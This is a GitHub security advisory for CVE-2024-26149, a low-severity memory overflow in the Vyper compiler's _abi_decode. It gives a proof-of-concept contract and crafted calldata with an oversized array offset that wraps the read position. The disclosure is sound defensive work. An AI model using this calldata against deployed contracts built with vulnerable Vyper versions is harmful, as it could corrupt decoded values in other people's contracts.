GitHub Advisoryadvisory · PyPI
GHSA-9p8r-4xp4-gw5w Vyper's `_abi_decode` vulnerable to Memory Overflow
LOW
Official page ↗
- Aliases
- CVE-2024-26149
- Ecosystem
- PyPI
- Packages
- vyper
- Severity
- Low
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
- Weaknesses
- CWE-119, CWE-120
- Reviewed
- 2024-02-26
Affected packages
• PyPI vyper: < 0.4.0 → fixed in 0.4.0
Description
Summary
If an excessively large value is specified as the starting index for an array in `_abi_decode`, it can cause the read position to overflow. This results in the decoding of values outside the intended array bounds, potentially leading to bugs in contracts that use arrays within `_abi_decode`. The advisory has been assigned low severity, because it is only observable if there is a memory write between two invocations of `abi_decode` on the same input.
Proof of Concept
```vyper
event Pwn:
pass
@external
def f(x: Bytes[32 * 3]):
a: Bytes[32] = b"foo"
y: Bytes[32 * 3] = x
decoded_y1: Bytes[32] = _abi_decode(y, Bytes[32])
a = b"bar"
decoded_y2: Bytes[32] = _abi_decode(y, Bytes[32])
if decoded_y1 != decoded_y2:
log Pwn()
```
Sending the following calldata results in `Pwn` being emitted.
```
0xd45754f8
0000000000000000000000000000000000000000000000000000000000000020
0000000000000000000000000000000000000000000000000000000000000060
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa0
```
Patches
Patched in https://github.com/vyperlang/vyper/pull/3925, https://github.com/vyperlang/vyper/pull/4091, https://github.com/vyperlang/vyper/pull/4144, https://github.com/vyperlang/vyper/pull/4060.
Related
Alias · CVE (1)
- CVE-2024-26149 Vyper is a pythonic Smart Contract Language for the ethereum virtual machine. vulnerability
References
- https://github.com/vyperlang/vyper/security/advisories/GHSA-9p8r-4xp4-gw5w web
- https://nvd.nist.gov/vuln/detail/CVE-2024-26149 advisory
- https://github.com/vyperlang/vyper/pull/3925 web
- https://github.com/vyperlang/vyper/pull/4060 web
- https://github.com/vyperlang/vyper/pull/4091 web
- https://github.com/vyperlang/vyper/pull/4144 web
- https://github.com/pypa/advisory-database/tree/main/vulns/vyper/PYSEC-2024-164.yaml web
- https://github.com/vyperlang/vyper package